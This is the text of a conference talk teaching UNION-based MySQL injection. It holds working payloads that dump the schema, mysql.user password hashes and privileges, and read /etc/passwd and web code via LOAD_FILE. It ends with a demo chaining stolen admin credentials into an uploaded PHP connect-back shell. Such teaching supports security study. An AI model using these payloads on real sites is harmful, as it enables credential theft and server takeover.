Understanding MySQL Union Poisoining

Jason A. Medeiros :: CEO :: Presented for DC619

Typical MySQL Deployment

Most MySQL deployments sit on a LAMP/WAMP architecture. This presenation relies on either of the two as a base for our injection.

L.A.M.P : »

- **Linux / Windows**
- **Apache**
- **MySQL**
- **PHP**

MySQL Injection

Establish The Goal:

- To find a weak point on a website in which we can modify a query using web variables.

- To utilize UNION SELECT queries to execute our own code and extract data from a MySQL database.

Query Injection Restrictions MySQL

MySQL and Delimited Queries:

PHP/MySQL Does not support multiple delimitied queries inline. This means you cannot simply semicolon off the query and start a fresh one. The second query will **not** get executed.

The Solution: Union Query Poisoning

Utilizing Unions

Union Queries can be used to poison results to get arbitrary data from a database, and filesystem.

Original:

```
SELECT * from test_table where id = 1;
```

Injection Modified:

```
SELECT * from test_table WHERE id = 1
UNION SELECT host, user, password FROM mysql.user; /*
```

UNION SELECT Query Constraints

UNION SELECT Queries ***must return the same number of arguments as the table which was being poisoned***. Often times, in the case of SELECT * queries, this number is unknown.

Enumerating Table Column Count:

Try from 1 to x integers to find initial column set size. MySQL will error each time until the correct number of columns have been found.

Example:

```
SELECT * FROM test_table WHERE id = 1
 UNION SELECT 1,2,3,4,5,....,x;
```

About Results Poisoning

Poisioning results is the notion that you will ***try to get a normal SQL query to return data from an unrelated table*** on the database.

Once you enumerate the number of collumns in the select query, it becomes possible to poison results directly.

Poisoning to Gain a DB Schema

Assuming the injection has 9 collumns, we can do as follows to extract a full database schema. MySQL contains this data in the information_schema DB.

Modified Query

```
SELECT * FROM test_table WHERE id = 1
UNION SELECT table_schema,
table_name,column_name,
ordinal_position,5,6,7,8,9 FROM
information_schema.COLUMNS; /*
```

Examining The Results

The results returned from the previous example are simple to decypher by just looking at them.

table_schema: name of the database
table_name: name of the table in the database
column_name: name of the collumn in the table
ordinal_position: original position of the collumn

Poisoning to Extract DB Credentials

The mysql.user table contains all credentials that are stored in the DB. You must be a privileged user to access these records however. If the user is connecting as root, this data can be easily extracted.

Modified Query

```
SELECT * FROM test_table WHERE id = 1
UNION SELECT host, user, password,
    4,5,6,7,8,9 from mysql.user /*
```

Examining The Results

The credentials returned are very straight forward to understand. Cracking the password is as simple as the encryption chosen. MD5 crackers can often crack a db password rather fast.

host: host the user is valid on
user: users login name
password: encrypted stored hashes

Poisoning to Determine Privileges

Permissions can be found within the information_schema.USER_PRIVILEGES table and can be extracted as follows.

Modified Query

```
SELECT * FROM test_table WHERE id = 1
UNION SELECT grantee,table_catalog,
privilege_type, is_grantable,
5,6,7,8,9 from
information_schema.USER_PRIVILEGES;  /*
```

Examing the Results

Examining privileges can be done by examining the information_schema.USER_PRIVILEGES table. This will show you who can and cannot do what within the database.

grantee: user reflecting the privileges
table_catalog: information regarding table catalog
privilege_type: the permission granted to the user
is_grantable: is the permission grantable

Poisoning to Read Files

If the user on the database has file permissions, the LOAD_FILE routine can be used to extract and view the contents of files on the filesystem.

In order to bypass quote filtration we will be using an ascii -> hexidecimal string conversion utility. This effectively bypasses most quote filtration done via the application.

Character Encoding: C Function

In order to make this process easier I created a very simple string encoder that can be used to bypass quote filtration in MySQL. Tool is available at the URL below. Compile it using GCC and use the binary as per the usage.

`String Encoder:`

http://www.grayscale-research.org/new/code/StringEncoder.tar

Conversion Utility Sample Usage

Example Tool Usage:

Encode /tmp/filename as a hex string. Why this is useful will be aparant soon.

```
jason@purgatory:~$ ./convert –mx /tmp/filename
Encoded for MYSQL Injections: -----
  Original: /tmp/filename
  Encoded: 0x2f746d702f66696c656e616d65
```

Poisoning To Read Files Cont.

In this example we attempt to find all users on the system by poisoning a query to return the contents of /etc/passwd.

```
Original: /etc/passwd
Encoded: 0x2f6574632f706173737764
```

Modified Query

```
SELECT * FROM test_table WHERE id = 1
UNION SELECT
LOAD_FILE(0x2f6574632f706173737764),
2,3,4,5,6,7,8,9 /*
```

Examining the Results

The results of the last query are very straight forward. ***It will open the file if it has access to it, and return it as the first collumn of the query***.

It is possible to load one file per column entry and provided the user has access to the file, it will be returned in the place of that column.

Utilizing Functions

Using union poisoning you can substitute any number of functions into a second select statment.

Example Reconnasiance Functions

Multiple built in reconnasiance functions are built natively into the mysql function set.

Examples:

USER()
DATABASE()
SYSTEM_USER()
SESSION_USER()
LAST_INSERT_ID()
CONNECTION_ID()

String Functions

String functions can be used to create strings without using semicolons, in similar fashion to the previous 0x encoding example.

Full List Available At:

http://dev.mysql.com/doc/refman/5.0/en/string-functions.htm

Additional Functions

There are a great number of functions available to the MySQL developer. You can find a full list of all of them at the following URL.

MySQL Function Reference:
http://dev.mysql.com/doc/refman/5.0/en/functions.html

Utilizing Functions in Poisoning

With the same query format as before we can easily employ the use of several of the afore mentioned reconnasiance functions and return their values to create a new informational toehold for our attack.

Modified Query

```
SELECT * FROM test_table WHERE id = 1
UNION SELECT USER(),
DATABASE(),SYSTEM_USER,
SESSION_USER(), CURRENT_USER(), 7,8,9 /*
```

Cumulative Demo: Site Exploitation Using SQL Injection

Goal of Demo:

Attack a website with only 1 MySQL injection point and spawn a connect back shell.

`demo website available at:`

www.grayscale-research.org/new/sqlinject/demo.tar

Step One, Isolate Injection Point

Test inputs for various characters, SQL errors indicate potential sql injection points.

Character Test Set:

'(!@#$%^&*()_+{}[]|\":>1?A;:

Injection Points: Test Results

Login Form: Not Vulnerable

Search Product ID Form: Vulnerable

Step 2, Enumerate Select Columns

Testing the injection with a UNION SELECT statement we count from 1 to x tries against the database. When we fail to receive any additional errors, we have found our correct column count.

http://demosite.com/sqlinject.php?var=1
union select 1,2,3,4,5,6,7,8,9 /*

Step 3, Get Reconnasiance Information

The following query will extract the user and database we are currently connected to, as well as dump /etc/passwd into a column.

```
http://demosite.com/sqlinject.php?var=1
 union select USER(), DATABASE(), SYSTEM_USER(), SESSION_USER(),
CURRENT_USER(), LAST_INSERT_ID(), CONNECTION_ID(),
LOAD_FILE(0x2f6574632f706173737764),1 /*
```

Step 4, Extract Current DB Schema

Next extract the database schema to compare to our current database.

```
http://demosite.com/sqlinject.php?var=1
union select table_schema, table_name,column_name,
ordinal_position,5,6,7,8,9 FROM information_schema.COLUMNS
```

Step 4, Cont

Now search query results for our current database and find all tables. In this case the database is `sql_injection_test` and the tables are sql_data and users.

At this point we will explore the users table in the current directory.

Step 5, Bypass Site Authentication

Using a seperate query we can now see that there is a users table for our site db, with two fields. One is user, other is pass. By crafting another union select query we can extract these fields and bypass site security.

```
http://demosite.com/sqlinject.php?var=1
UNION SELECT USER, PASS, 3,4,5,6,7,8,9
FROM users
```

Step 6, Login and Find Upload Form

Most site administrators have the capability to upload files to a website. Considering we now have the administrator credentials we can log-in and attempt to find a file upload form.

http://www.grayscale-research.org/new/code/GS-PHPConnectBack.tar

Download the php connect back utility from grayscale-research.org and upload it to the website.

Step 7, Read Site Upload Code

By uploading our own custom code, and using sql injection to find the code path we can get a connect back shell. To do this we read the file /var/www/index.php which contains our form code (string is hex encoded).

```
http://demosite.com/sqlinject.php?var=1
UNION SELECT
LOAD_FILE(0x2f7661722f7777772f696e6465782e706870),
2, 3, 4, 5, 6, 7, 8, 9 /*
```

Note: Additional information such as plaintext DB passwords can be extracted from webcode.

Step 8, Invoke Uploaded Script

Examining the upload script you can see that files are uploaded to ./uploads/ on the webserver. Navigating our browser to the connect back php script, we can input our connect back information and execute shell commands natively on the server.

<EOF>

Additional Information

This demo does not cover every aspect of LAMP SQL injection but does demonstrate how a simple mistake can cause a large security hole in business logic and other custom applications.

[+] Q/A?